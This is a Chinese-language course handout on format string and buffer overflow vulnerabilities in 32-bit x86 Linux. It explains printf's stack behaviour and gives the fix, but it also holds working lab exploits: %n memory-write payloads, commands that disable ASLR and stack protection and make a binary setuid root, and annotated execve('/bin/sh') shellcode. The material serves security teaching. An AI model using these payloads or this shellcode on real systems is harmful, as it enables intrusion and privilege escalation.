配套《第2讲 软件安全 2-2》课件 · 全程 32 位 x86 / Linux / cdecl 调用约定
printf 的第一个参数不是"要打印的文字",而是一段"程序"。
里面的 % 是指令:%d 的意思是"去栈上取 4 个字节,当整数打印出来"。而 printf 在执行时完全不知道你到底传了几个参数,它只是一边读这段"程序",一边从栈上按顺序取。
/* demo0.c —— 建立正确认知 */ #include <stdio.h> int main(void){ int i = 5, a = 10; printf("[1] Number %d has no address, number %d has: %08x\n", i, a, &a); printf("[2] 折扣 100%%\n"); /* 想打印一个真正的 '%' 字符,必须写 %% */ return 0; }
编译运行:
gcc -m32 demo0.c -o demo0 && ./demo0 [1] Number 5 has no address, number 10 has: 0xbfffebf4 [2] 折扣 100%
逐条解释:
[1] 行:格式串里有 3 个 % 指令(%d、%d、%08x),后面正好给了 3 个参数(i、a、&a)→ 一一对应,正确。[2] 行:%% 不是"取参数",它是转义,表示"我就要打印一个百分号"。这也从侧面证明了:% 在格式串里是特殊字符,不是普通文字。不知道。一个字都不知道。
看它的声明:int printf(const char *format, ...); —— 那个 ...(省略号)在 C 语言里叫可变参数。编译后的机器码里既没有参数个数,也没有参数类型,只有一串连续的 4 字节值躺在栈上。
printf 唯一的信息来源,就是 format 这个字符串本身。
printf 内部(glibc 里真正干活的叫 vfprintf)做的事,简化成模型是这样的:
/* printf 的极简模型 —— 说明它为什么不做检查 */ #include <stdarg.h> void my_printf(const char *fmt, ...){ va_list ap; /* ap = "参数指针",指向栈上某个位置 */ va_start(ap, fmt); /* 让 ap 指向 fmt 后面的第 1 个参数 */ for (const char *p = fmt; *p; ){ if (*p != '%') { putchar(*p++); continue; } /* 普通字符:原样输出 */ p++; /* 跳过 '%' */ switch (*p++) { case 'd': print_int( va_arg(ap, int) ); break; /* 掏4字节,ap += 4 */ case 'x': print_hex( va_arg(ap, unsigned) ); break; /* 掏4字节,ap += 4 */ case 's': print_str( va_arg(ap, char*) ); break; /* 掏4字节,当地址去读 */ case 'n': *(int*)va_arg(ap, int*) = 已输出字符数; break; /* 掏4字节,往里写! */ } } va_end(ap); }
只要把上面这段读懂,整章就通了。
va_arg(ap, 类型) 的含义就是:从 ap 现在指着的地方取走 4 个字节,然后 ap 往后挪 4。
它没有任何"还剩几个参数"的检查。整个循环完全由格式串里的 % 驱动 —— 格式串说要 5 个,它就掏 5 个;哪怕你一个都没传,它也照掏不误,掏的是后面别人的数据。
/* demo1.c —— 多给 vs 少给 */ #include <stdio.h> int main(void){ printf("[A] %d\n", 1, 2, 3); /* 多给了 2 个 */ printf("[B] %d %d %d\n", 1, 2); /* 少给了 1 个 → 未定义行为 */ return 0; }
[A] 1 ← 多余的 2、3 被安静地忽略,无害 [B] 1 2 134520896 ← 第三个是"借"来的栈上垃圾,每次运行都可能不同
注意 [B]:它没有报错、没有崩溃,只是老实巴交地把栈上紧跟着的 4 个字节打印了出来。这就是信息泄露 —— 而且是完全静默的。
严格说这属于 C 语言的未定义行为(UB),但现实中它稳定地"读出栈上后面的内容",所以可以被稳定利用。
前面讨论的都是"程序员写死格式串"的情况。真正的漏洞长这样:
/* demo2.c —— 漏洞就是这个形状 */ #include <stdio.h> void log_line(const char *user){ printf("[LOG] "); printf(user); /* ☠ 漏洞点:user 是别人给的,却被当成"格式程序"执行 */ printf("\n"); } int main(void){ log_line("alice"); /* 正常:没有 %,就只是普通文字 */ log_line("%08x.%08x.%08x.%08x"); /* 攻击者:读栈 */ log_line("%s%s%s%s%s%s%s"); /* 攻击者:崩溃 */ return 0; }
[LOG] alice [LOG] bfffebf4.0000000a.00000005.08048568 ← 栈上的内存被打印出来了 [LOG] Segmentation fault (core dumped) ← 进程挂了
三行输出的差别,只在于 user 的内容 —— 代码一行没改。这就是漏洞的本质:攻击者获得了"写 printf 指令"的权力。
修复只有一句:格式串必须是程序员写死的常量,用户输入永远只当数据。
printf("%s", user); /* 现在 user 里的 '%' 只是一个普通字符,永远不会被当成指令 */
为什么这就安全了?因为现在 printf 拿到的格式串是常量 "%s",里面只有一条指令"取一个字符串参数并打印",user 是被打印的数据,它里面的 %n 只是四个普通字符,不会被二次解析。
| 攻击者在 user 里写 | printf 会做什么 | 后果 |
|---|---|---|
%x %p %d | 把栈上的值读出来打印 | 信息泄露:地址、canary、密码 |
%s | 把栈上的值当地址,去那个地址读字符串 | 任意读 或 崩溃(DoS) |
%n | 把栈上的值当地址,把"已输出字符数"写进去 | 任意写:改变量、改返回地址 → 拿 shell |
把整章串成一句话:
因为 printf 不知道参数个数(0.2)→ 它会顺着栈一直往后掏(0.3)→ 如果格式串是用户控制的(0.4),用户就能指定"掏什么、按什么方式解释" → 于是从看到读再到写,一步步升级(0.5)。
| ☠ 危险写法 | ✅ 安全写法 |
|---|---|
printf(user) | printf("%s", user) |
fprintf(stderr, user) | fprintf(stderr, "%s", user) |
sprintf(buf, user) | snprintf(buf, sizeof(buf), "%s", user) |
syslog(LOG_INFO, user) | syslog(LOG_INFO, "%s", user) |
err(1, user) / warn(user) | err(1, "%s", user) / warn("%s", user) |
家族成员:printf / fprintf / sprintf / snprintf / vprintf / vfprintf / vsprintf / vsnprintf / syslog / err / warn / errx / warnx / setproctitle …
别以为 snprintf 就安全:它只保证不越界写。写成 snprintf(buf, n, user) 的话,格式串漏洞照样成立 —— 照样能读栈、照样能用 %n 写内存。"限长"和"格式"是两回事。
printf(user) 会怎样?编译器能帮你抓:gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 会对 printf(user) 这种"非字面量格式串"直接报警告;加上 -Werror=format-security 可以把它变成编译错误。这是最省钱的防御。
int printf(const char *format, ...); printf("Number %d has no address, number %d has: %08x\n", i, a, &a);
printf 内部是一个逐字符扫描的循环:
N、u、m…)→ 原样复制到输出缓冲区。% → 看后面那个字母决定"这次要取一个什么类型的参数",然后从当前参数指针位置取走 4 字节,参数指针往后挪一格。| 写法 | 含义 | 取参数方式 |
|---|---|---|
%d | 有符号十进制整数 | 取 4 字节,当整数打印 |
%u | 无符号十进制 | 取 4 字节 |
%x / %08x | 十六进制(08=不足8位左边补0) | 取 4 字节 |
%p | 指针(16 进制) | 取 4 字节 |
%c | 字符 | 取 4 字节,只输出最低 1 字节对应的 ASCII 字符 |
%s | 字符串 | 取 4 字节当地址,去那个地址读到 \0 为止 |
%n | 不输出,反而写入 | 取 4 字节当地址,把"目前已输出的字符总数"写进去 |
%10d | 宽度 10 | 不够 10 位左边补空格;超过就按实际位数 |
%2$d | 位置参数 | 直接取第 2 个参数(跳过中间的) |
%hn | 半字写入 | 写 2 字节(实战常用,见第 6 节) |
printf("%2$d", 10, 20, 30) → 输出 20。
x86 32 位 + cdecl:参数从右往左依次 push,然后 call 再把返回地址压进去。所以进到 printf 时,栈长这样(下面每行 4 字节):
课件里那个"?":0xbfffebe8 为什么不等于 0xbfffebf4?
这俩是两码事:
· 0xbfffebf4 是 main 里局部变量 a 的真实地址(也就是 &a 这个值);
· 0xbfffebe8 是 printf 参数区里"存放 &a 这一格"的地址。
你在 gdb 里 x/wx 0xbfffebe8,看到的内容正是 0xbfffebf4。就像"抽屉的编号"和"抽屉里放的钥匙"不是一回事。
call printf 之前那 4 个 push 在干嘛? —— 按从右往左的顺序把参数压栈:
lea edx,[ebp-0x8] ; 取 a 的地址 push edx ; ④ &a 入栈 mov eax,[ebp-0x8] push eax ; ③ a 的值入栈 push dword [ebp-0x4] ; ② i 的值入栈 push 0x8048568 ; ① 格式串地址入栈 call printf
下面这个模拟器就是漏洞现场。左边是格式串,右边是栈。点"单步执行",看 printf 怎么一格一格往后掏参数 —— 掏到没有参数的地方,就把别人的数据掏出来了。
结论:参数不够时 printf 不会报错,它顺着栈往高地址继续掏。掏出来的可能是上一个函数的局部变量、保存在栈上的寄存器、某个指针、甚至是格式串本身的内容。这就是信息泄露。
printf("%08x.%08x.%08x.%08x") 会输出什么?输出的不是字面量,而是栈上 4 个格子里的值,每个按 8 位十六进制补零打印,例如:
bfffebf4.0000000a.00000005.08048568
课件里那张 ASCII 表(%=0x25、0=0x30、8=0x38、x=0x78)是提醒你:格式串本身也是以字节形式存在栈上的,所以它能被自己读到。
想读任意地址的内容,需要凑齐两件事:
%s —— 从栈上取 4 字节当地址,打印那个地址处的字符串。buf)就在栈上 → 直接把地址写进格式串里。剩下的问题只是:"怎么让参数指针正好停在我塞进去的那个地址上":
printf("\x1f\x01\xff\xbf_%08x.%08x|%s|"); // ↑ 目标地址0xbfff011f ↑ 用 %08x 把指针"空转"两步 ↑ 到站,读!
那个 _ 是干嘛的? 地址占 4 字节,栈是按 4 字节对齐读的。补 1 个填充字符,让这 4 字节地址正好落在某一格的开头,%s 才会精准取到它。不对齐就读歪了。
%M$s不用数 %08x 的个数,直接说"我要第 3 个参数":
printf("\xaa\xbb\xcc\xdd%3$s"); 栈(从参数1开始数): [ RET ][ fmt ][ a1 ][ a2 ][ \xaa\xbb\xcc\xdd%3$s ] (1) (2) (3) ← fmt 本身所在的缓冲区 └────────────────────────────┘ %3$s 直接跳到第3格 → 取到 0xddccbbaa 当地址 → 打印它指向的字符串
一句话记法:%M$s = "把我塞进去的第 M 个 4 字节当地址,把那里的字符串打出来"。位置参数只是"移动参数指针"的语法糖,本质和堆 %08x 完全一样。
课件那个实例:printf("\x1f\x01\xff\xbf_%08x.%08x.%08x.%08x.%08x|%s|") 打出了 "Invalid Password!!!" —— 内存里的敏感字符串被偷出来了。注意课件特意标了 I n v a → 49 6e 76 61,而实际内存是 61 76 6e 49,这就是 x86 小端序。
%n 不产生任何输出。它做的事是:把"到 %n 为止,printf 已经输出的字符总数",写进对应参数所指的那个地址(32 位下写 4 字节)。
printf("1234%n", &len); // 屏幕输出 "1234",同时 len = 4
unsigned char canary[5]; unsigned char foo[4]; memset(foo, '\x00', sizeof(foo)); strcpy(canary, "AAAA"); printf("%16u%n", 7350, (int*)&foo[0]); // 已输出16 → foo[0] = 16 = 0x10 printf("%32u%n", 7350, (int*)&foo[1]); // 已输出32 → foo[1] = 32 = 0x20 printf("%64u%n", 7350, (int*)&foo[2]); // 已输出64 → foo[2] = 64 = 0x40 printf("%128u%n", 7350, (int*)&foo[3]); // 已输出128→ foo[3] = 128 = 0x80 printf("foo: %02x%02x%02x%02x\n", foo[0],foo[1],foo[2],foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0],canary[1],canary[2],canary[3]);
为什么 canary 变成了 00 00 00 41?
因为 canary 紧跟在 foo 后面(foo[4] + canary[5] 连续)。%n 是一次写 4 个字节的,不是 1 个字节!
所以最后那句 printf("%128u%n", &foo[3]) 从 foo[3] 开始写 0x80 0x00 0x00 0x00(小端,128=0x00000080)→ 把 foo[3] 写成 0x80,然后顺手踩掉了 canary[0..2],全写成了 0x00。
原来 canary 是 41 41 41 41 00("AAAA"+"\0"),被踩之后只剩最后一个 41 在 canary[3] 位置 → 打印 00 00 00 41。
这正是"格式化字符串能越界写"的直观证据。
printf("\xaa\xbb\xcc\xdd%3$n"); [ RET ][ fmt ][ a1 ][ a2 ][ \xaa\xbb\xcc\xdd%3$n ] (1) (2) (3) └──────────────────────┘ 等价于 printf("...%3$n", _, _, 0xddccbbaa) → 往 0xddccbbaa 写入"当前已输出的字符数"
这里的"当前已输出字符数" = 前面那 4 个字节的地址本身 = 4。所以效果是 *(int*)0xddccbbaa = 4。
任意读 → 任意写,只差一个字母:%3$s 改成 %3$n。读和写用的是同一套"把地址塞进格式串 + 移动参数指针"的套路,区别只在最后一个说明符是"读"还是"写"。
现在能写了,但只能写 4(地址的那 4 个字节)。想写别的数,就得控制"已输出字符数"。杠杆是宽度修饰符:
printf("\xaa\xbb\xcc\xdd%6c%3$n"); // ↑ 宽度6:输出一个占6字符宽的东西(左边补空格) // 已输出 = 4(地址) + 6 = 10 // → *(int*)0xddccbbaa = 10
通用公式:写入的值 = 地址占的 4 字节 + %nc 里的 n,即 n = 目标值 − 4。
现实问题:要写 0x0804a010(134520848) 怎么办? 那就得真输出 1.3 亿个字符……不现实。
真实 exploit 的做法:
· 用 %hn(写 2 字节)或 %hhn(写 1 字节),把一个 4 字节地址拆成 2~4 次写;
· 每次写的数值变小 → 输出量可控;
· 而且 n 可以叠加:第二次写的值 = 前面所有输出之和,所以写第二个 2 字节时用"差值"即可。
课件里只讲一次写 4 字节的最简模型,先理解原理就行。
echo -e "\x88\xec\xff\xbf%61c%5$n" 之后,程序里的 secret 输出什么?为什么是 'A'?%61c 让输出宽度变成 61,加上最前面地址 \x88\xec\xff\xbf 占的 4 个字符:
已输出字符数 = 4 + 61 = 65
%5$n 把 65 写进第 5 个参数(也就是地址 0xbfffec88)指向的内存。写入 4 字节、小端序:
65 00 00 00 → 0x00000041 → 十进制 65 → ASCII 'A'
所以 secret 那块内存变成了 0x41,按字符串打印出来就是 "A"。
反过来推:想写 'A'(65),n = 65 − 4 = 61。这就是课件给的 %61c。
1111,要改成 11A1,%[n]c 里的 n 取多少?"1111" 四个字节的 ASCII = 31 31 31 31;"11A1" = 31 31 41 31。
用 %n 一次写 4 字节,得把这 4 字节整体当一个 little-endian 的 32 位整数看:
内存字节(低→高): 31 31 41 31 写成 dword : 0x31413131 = 3×16⁷ + 1×16⁶ + 4×16⁵ + 1×16⁴ + 3×16³ + 1×16² + 3×16¹ + 1×16⁰ = 826356017
再减去地址本身占掉的 4 个字符:
n = 826356017 − 4 = 826356013
所以 payload 是 echo -e "\x88\xec\xff\xbf%826356013c%5$n"。
两个提醒:① 课件上算出来的数 826356013 其实是已经减过 4 的 n,而按上面展开式严格算 dword 值应是 826356017 —— 注意区分"要写的值"和"n"。② 现实中这么大的 n 会输出 8 亿多个字符,不可行;实战用 %hhn 逐字节写,每次最多 255。
echo "%c" | ./qiang 为什么会输出一个 "d"?程序里只有 %c 和 %n 会被格式化处理;%n 不产生输出,所以屏幕上那个字符只能是 %c 干的。
%c 的行为:从参数指针位置取 4 字节整数,只把最低那个字节当 ASCII 码输出。
那 4 字节里恰好是残留数据 0x64:
0x64 = 100 = ASCII 'd'
课件那张栈图上标的位置 0x 64 就是这个残留值(前面跑 echo "AAAA1=%p|2=%p…" 时在栈上留下的痕迹)。printf 又不会去检查参数是不是垃圾 —— 给它什么它就打什么。
int func(char *user) { fprintf(stdout, user); }
如果 user = "%s%s%s%s%s%s%s":
%s 都从栈上取 4 字节当地址;修复:fprintf(stdout, "%s", user); —— 让用户输入永远当"数据",不当"格式"。
这是 QPOP 2.53 / bftpd 的真实漏洞模式,课件重点讲了。看这段代码:
char outbuf[512], errmsg[512]; sprintf(errmsg, "Err Wrong command: %400s", user); // ① 看起来安全:限制了 400 sprintf(outbuf, errmsg); // ② 致命:errmsg 被当格式串!
① 里 %400s 确实把 user 截到 400 字符,加上前缀 19 字符 = 419,塞进 512 的 errmsg 没问题。
但 ② 把 errmsg 当成了格式字符串!于是 user 里的 % 又活了过来 → 变成了格式化字符串漏洞。
user = "%497d\x3c\xd3\xff\xbf<nops><shellcode>"
errmsg = "Err Wrong command: " (19字符) + %497d 展开的 497 个字符 = 516 字符
↓ 写进 outbuf(512)
516 = 512 + 4 ← 正好多 4 字节!
多出来的 4 字节越过 outbuf 边界,覆盖到保存的 ebp / 返回地址,于是变成一次普通栈溢出攻击,跳转到 NOP 雪橇 + shellcode。
NOP 的作用? —— NOP 雪橇(NOP sled)。恶意代码的地址不可能 100% 算准,用一大片 0x90(NOP) 铺在 shellcode 前面,只要返回地址落在这一片 NOP 中的任意位置,CPU 就会一路"滑行"到真正的 shellcode。大幅提高命中率。
这一节的思路很值得记住:格式化字符串漏洞不只是"读写内存",它还能绕过长度检查、制造溢出——因为 %497d 这种"宽度"本质上是在凭空生成输出,程序员以为限定了输入长度,其实输出长度被攻击者接管了。
| 措施 | 挡住了什么 | 怎么被绕(课件提到) |
|---|---|---|
正确写法printf("%s", user) | 从根上消除漏洞 | —(最有效) |
| Canary(栈金丝雀) | 栈溢出覆盖返回地址 | 先用格式化串读出 canary 值,溢出时再原样写回; canary 每次运行随机则难度陡增 |
| ASLR | 硬编码地址 | 先 dump 内存泄露 secret(如 libc 基址)再算; 但地址下次运行会变 → 攻击失效。 等级:0 关 / 1 栈、共享库随机(堆不变)/ 2 堆也随机 |
| DEP / NX | 在栈上执行 shellcode | 改走 ROP(用已有代码片段拼) |
编译期也帮忙:gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 会对 printf(user) 这类写法直接报警告/报错。
为了能复现,要先把保护全关:
gcc -fno-stack-protector -z execstack -g -o stack stack.c
sudo sysctl -w kernel.randomize_va_space=0
sudo chown root stack && sudo chmod 4755 stack # chown会清suid,注意顺序
Task A:gdb 找 buf 地址和 ebp,距离 = 108,返回地址 = ebp+4 → 偏移 112。
Task B:猜 shellcode 地址(关了 ASLR 后栈起始固定),用 NOP 雪橇兜底。
目标:execve("/bin/sh", argv, 0) 拿一个 shell。
eax = 0x0b (11) ; execve 系统调用号 ebx = "/bin/sh" 的地址 ecx = argv 数组地址 ; argv[0]="/bin/sh", argv[1]=0 edx = 0 int 0x80
关键约束:机器码里不能含 \x00,否则会被 strcpy 截断。
char *buf1 = malloc(16);
char *buf2 = malloc(16);
while((*(buf1+i)=getchar())!=EOF) i++; // 无边界
buf1 写穿 → 踩到 buf2 的数据,或踩到堆块管理头(fd/bk 指针)→ 可劫持 unlink 实现任意写。目标是"敏感数据"而非返回地址。
static 变量放 BSS 段,不在栈上,所以 canary 管不着。
两种打法:
static char *tmpfile → 程序去写攻击者指定的文件(如 /etc/passwd)static int (*funcptr)(const char*) → 劫持函数指针,直接控制执行流课件里出现的每个例子,都能在 codes-share-to-class/codes-share-to-class/ 里找到源码。建议按下面顺序自己跑一遍。
sudo sysctl -w kernel.randomize_va_space=0 # 关 ASLR,地址才固定
gcc -m32 -fno-stack-protector -z execstack -g -o qiang qiang.c
| 文件 | 干什么 | 对应课件哪一页 |
|---|---|---|
formattingString/write.c | %n 一次写 4 字节,踩坏 canary | "%n" / foo:10204080 |
formattingString/dumpStack.c | 一串 %08x 把栈倒出来 | 查看栈中数据 |
formattingString/test.c | \x1f\x01\xff\xbf_%08x.%08x|%s| 任意读 | 任意读 |
formattingString/qiang.c | 主实验:任意读 + 任意写 secret | 课堂答题 1 / 2 |
formattingString/str_fmt_attack.c | 真实的"密码错误回显"漏洞 | 内存数据窃取与篡改 |
formattingString/int_fmt_attack.c | 改 unsigned int 型的 secret | printf("Modify the memory: %n") |
formattingString/savedparameters.c | gdb 看 printf 参数在栈上的位置 | 补充讲解 / 四个 push |
bufferoverflow/stack.c + stack_exploit.py | 标准栈溢出拿 shell | Buffer Overflow 举例 |
bufferoverflow/shellcode.c | execve("/bin/sh") 的机器码 | Shellcode 举例 |
qiang.c —— 五步走查char buf[100]; char secret[100] = "111122223333"; printf("address of secret is at %p\n", secret); // ① 把 secret 地址告诉你 fgets(buf, sizeof(buf), stdin); printf(buf); // ② 漏洞点!用户输入当格式串
关键:那个 %5$ 里的 5 是哪来的?
不是算出来的,是试出来的。因为 printf 的参数区紧挨着 main 的栈帧,你的 buf 落在第几个参数位置,取决于编译器、代码、栈布局 —— 换台机器可能就变了。所以标准手法是先用 AAAA 打标:
echo -e "\x41\x41\x41\x41%p|%p|%p|%p|%p|%p|%p|%p" | ./qiang # 看哪一格输出 0x41414141 —— 本例是第 5 个 → 以后就用 %5$ echo "AAAA1=%p|2=%p|3=%p|4=%p|5=%p|6=%p" | ./qiang # 带编号,更直观
echo -e "\x88\xec\xff\xbf%5$p" | ./qiang
输出 0xbfffec88(你塞进去的地址被原样打印)→ 说明参数指针能走到你塞的数据上。
echo -e "\x88\xec\xff\xbf%5$s" | ./qiang
把地址处的内容当字符串打印 → 读出 111122223333。读和写只差一个字母。
echo -e "\x88\xec\xff\xbf%5$n" | ./qiang
地址本身占 4 个字符 → 写入 4。secret 前 4 字节变成 04 00 00 00。
echo -e "\x88\xec\xff\xbf%61c%5$n" | ./qiang
4 + 61 = 65 → 写入 0x00000041 → secret 变成 "A111223333"。
Step 5 · 111122223333 → 11A122223333(源码注释里就有答案):
echo -e "\x88\xec\xff\xbf%826356013c%5$n" | ./qiang
"1111" = 31 31 31 31;"11A1" = 31 31 41 31 → 小端 dword = 0x31413131 = 826356017;
减掉地址占的 4 → n = 826356013。
str_fmt_attack.c —— 有一个容易踩的坑void handle_failure(char *buf) { char msg[100]; snprintf(msg, sizeof(msg), "Invalid Password!!! %s\n", buf); printf(msg); // ← 漏洞在这 }
坑:你的 payload 前面被自动加了 "Invalid Password!!! " 共 20 个字符。
所以 %n 写入的值 = 20 + 4(地址) + n,而不是 4 + n。算 payload 时必须把前缀算进去:
echo 'AAAA%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p' | ./str_fmt_attack # 先探测偏移 echo $(printf "\x38\xa0\x04\x08")%12$n | ./str_fmt_attack # 写入 20+4 = 24 echo $(printf "\x38\xa0\x04\x08")%10c%12$n | ./str_fmt_attack # 写入 20+4+10 = 34
另外注意这里偏移是 %12$ 不是 %5$ —— 再次说明偏移量一定要自己探。用 echo $(printf ...) 而不是 echo -e 是因为不同 shell 的 -e 行为不一致。
char buffer[100]; strcpy(buffer, str); // str 最长 300 → 溢出
gdb 实测:&buffer = 0xbfffea2c,ebp = 0xbfffea98,差 108;返回地址在 ebp+4 → 偏移 112。
stack_exploit.py 的构造:content[112:116] = ret(小端),前面 300 字节全填 0x90(NOP),shellcode 放最末尾。
31 c0 xor eax,eax ; eax = 0 50 push eax ; 字符串结尾 \0 68 2f 2f 73 68 push "//sh" 68 2f 62 69 6e push "/bin" 89 e3 mov ebx,esp ; ebx → "/bin//sh" 50 push eax ; argv[1] = NULL 53 push ebx ; argv[0] 89 e1 mov ecx,esp ; ecx → argv 99 cdq ; edx = 0 (envp=NULL) b0 0b mov al,0x0b ; execve = 11 cd 80 int 0x80 ; 发起系统调用
两条硬约束:① 机器码里不能有 \x00,否则 strcpy 会截断(所以 xor eax,eax 而不是 mov eax,0);② 用 //sh 补到 4 字节对齐。